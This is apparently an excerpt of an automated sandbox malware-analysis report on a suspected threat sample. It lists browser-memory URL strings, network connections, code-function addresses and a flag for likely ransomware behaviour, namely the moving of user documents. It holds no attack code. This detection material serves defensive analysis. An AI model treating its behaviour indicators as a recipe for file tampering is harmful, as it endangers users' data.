                  Source: firefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/searchc1a6845f-015e-4e67-bc64-6e39a843643fa3f1a5b6-cd8d-41b3-bb2b-de
                  Source: firefox.exe, 00000011.00000003.2373135369.000002435C82B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2398550205.000002435E0F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2448902266.000002435E0F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2329123389.000002436813E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347995544.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2397264757.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/search
                  Source: firefox.exe, 00000011.00000003.2347089065.0000024368482000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ifeng.com/
                  Source: firefox.exe, 00000011.00000003.2314766216.0000024368ACD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2315959898.00000243638B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.iqiyi.com/
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.leboncoin.fr/
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
                  Source: firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
                  Source: firefox.exe, 00000011.00000003.2322644746.000002435C074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2325769645.000002435DFB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2322644746.000002435C08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2323589912.000002435C071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
                  Source: firefox.exe, 00000011.00000003.2448902266.000002435E0FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
                  Source: firefox.exe, 00000011.00000003.2495626539.000002435E0AE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
                  Source: firefox.exe, 00000011.00000003.2397264757.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2471726860.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                  Source: firefox.exe, 00000011.00000003.2448902266.000002435E0FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
                  Source: places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
                  Source: firefox.exe, 00000011.00000003.2397264757.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2471726860.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/Error
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/V
                  Source: firefox.exe, 00000011.00000003.2397264757.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2471726860.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                  Source: firefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2481127797.0000024365413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.olx.pl/
                  Source: firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.reddit.com/
                  Source: firefox.exe, 00000011.00000003.2449029556.000002435E0EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495445273.000002435E0EA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.sling.com/
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.softcatala.org
                  Source: firefox.exe, 00000011.00000003.2475632988.00000243684CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347089065.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326229478.00000243684B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2470762903.00000243684D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418178684.00000243684B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.wykop.pl/
                  Source: firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C7203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE503000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/
                  Source: firefox.exe, 00000011.00000003.2481127797.0000024365413000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.zhihu.com/
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49940
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49861
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50032 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49894 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49795 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49939 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49939
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49938
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49937
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49906 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49881 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49772 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49931
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50029
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49866 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49930
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49894
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49893
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49929 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49872 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49893 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50030
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49929
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49928
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49861 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50029 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49869 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49901 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49888
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49881
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49928 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50032
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50031
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49930 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49940 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49937 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50031 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49872
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49931 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 50030 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49938 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49906
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49869
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49867 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49901
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49867
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49888 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49866
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49774 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49780 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49788 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49867 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:49894 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:49893 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49927 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:49928 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 52.222.236.120:443 -> 192.168.2.5:49930 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:49937 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49939 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49940 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49938 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50030 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50031 version: TLS 1.2
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_00407391 GetFocus,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetClassNameA,strncmp,SendMessageA,GetKeyState,GetKeyState,GetKeyState,GetPropA,GetPropA,GetPropA,GetWindowThreadProcessId,GetCurrentProcessId,0_2_00407391

                  Spam, unwanted Advertisements and Ransom Demands

                  barindex
                  Modifies existing user documents (likely ransomware behavior)
                  Source: C:\Windows\SysWOW64\cmd.exeFile moved: C:\Users\user\Desktop\TTCBKWZYOC.xlsxJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeFile moved: C:\Users\user\Desktop\UQMPCTZARJ.docxJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeFile moved: C:\Users\user\Desktop\JDSOXXXWOA.docxJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeFile moved: C:\Users\user\Desktop\IVHSHTCODI.docxJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeFile moved: C:\Users\user\Desktop\MQAWXUYAIK.pdfJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7D42377 NtQuerySystemInformation,22_2_00000184C7D42377
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7E6AC72 NtQuerySystemInformation,22_2_00000184C7E6AC72
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C5664E: DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,10_2_00C5664E
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_004095B00_2_004095B0
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_004098E00_2_004098E0
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004162A85_2_004162A8
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0040C4615_2_0040C461
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0041F0F05_2_0041F0F0
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004262705_2_00426270
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004222265_2_00422226
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004052F15_2_004052F1
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004264305_2_00426430
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0041A7885_2_0041A788
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004229605_2_00422960
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004269205_2_00426920
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_004279F35_2_004279F3
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00425B405_2_00425B40
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0041FB105_2_0041FB10
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00427B815_2_00427B81
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00423BB05_2_00423BB0
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00427C5B5_2_00427C5B
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00425D505_2_00425D50
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00401D2A5_2_00401D2A
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C74AA210_2_00C74AA2
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C581E810_2_00C581E8
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C5155310_2_00C51553
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C5174B10_2_00C5174B
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C6373710_2_00C63737
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C65AB610_2_00C65AB6
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C83C3110_2_00C83C31
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C83D0B10_2_00C83D0B
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7D4237722_2_00000184C7D42377
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7E6AC7222_2_00000184C7E6AC72
